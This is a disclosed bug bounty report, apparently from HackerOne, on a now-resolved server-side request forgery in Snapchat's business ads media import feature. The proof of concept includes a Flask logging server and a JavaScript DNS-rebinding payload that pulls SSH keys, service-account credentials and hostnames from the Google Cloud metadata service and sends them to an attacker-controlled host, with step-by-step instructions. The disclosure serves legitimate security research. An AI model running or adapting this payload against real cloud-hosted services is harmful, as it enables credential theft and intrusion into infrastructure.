Server-Side Request Forgery using Javascript allows to exfill data from Google Metadata
S
Snapchat
Submitted None
Team Summary
Official summary from Snapchat
@nahamsec, @daeken and @ziot found a Server-Side Request Forgery (SSRF) vulnerability in https://business.snapchat.com which they exploit by providing a custom webpage configured to utilize DNS rebinding to access internal web endpoints like the Google Metadata Service. Using this they are able to mint tokens for the service-account assigned to the instance hosting the Chrome instances used for extracting webpages assets for media projects.
Actions:
Reported by
nahamsec
Vulnerability Details
Technical details and impact analysis
Hey there,
I was looking at your ads site with @daeken, we found some weird behavior in the import function of the creative app. Here are the steps:
#POC
- Login to https://business.snapchat.com/
- Go to creative library -> New Creative
- Under "Topsnap Media", click on "Create"
- Click on any of the templates and load it
- Click on one of the images in the template -> Replace -> Import
- _This is where the SSRF exists_. Where you fetch images for your creative (`/api/v1/media/import`)
- Run this somewhere publicly accessible:
```
from flask import Flask, request
from flask_cors import CORS
from time import sleep
app = Flask(__name__)
CORS(app)
import logging
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
@app.route("/")
def helloWorld():
sleep(3)
return 'hi!'
@app.route('/log')
def log():
print request.args['msg']
return ''
app.run(host='0.0.0.0')
```
- Put this on another domain you control. Change demon.██████████ to the host where you put this html file, and change ssh.████ to the host you're running the timing script (above) on.
```
<script>
var logTimeServer = 'ssh.█████';
var attackServer = 'demon.██████';
function log(data) {
var sreq = new XMLHttpRequest();
sreq.open('GET', 'http://' + logTimeServer + ':5000/log?msg=' + encodeURI(data), true);
sreq.send();
}
function get(url) {
try {
var req = new XMLHttpRequest();
req.open('GET', url, false);
req.setRequestHeader('X-Google-Metadata-Request', 'True');
req.send(null);
if(req.status == 200)
return req.responseText;
else
return '[failed status=' + req.status + ']';
} catch(err) {
log(err);
}
return null;
}
log('Triggered in ' + window.location.href);
for(var i = 0; i < 60; ++i) {
log('Loop ' + i);
var req = new XMLHttpRequest();
req.open('GET', 'http://' + logTimeServer + ':5000/', false);
req.send();
}
log('SSH Keys: ' + get('http://' + attackServer + '/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json'));
log('Service Accounts: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/service-accounts/?recursive=true&alt=json'));
log('Hostname: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/hostname'));
</script>
```
- Now hit `/api/v1/media/import` on `ads.snapchat.com`, with the URL parameter http://demon.███████/ssrf.html (or wherever you run it)
- Immediately after requesting `ssrf.html`, switch the DNS on the domain to point to 169.254.169.254, and wait 3 minutes. ssrf.html needs to be running on port 80, that way when the DNS changes, it starts talking to the metadata service.
## Impact
#SSH Keys:
```
SSH Keys: "██████"
```
#Hostname:
`█████████`
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Server-Side Request Forgery (SSRF)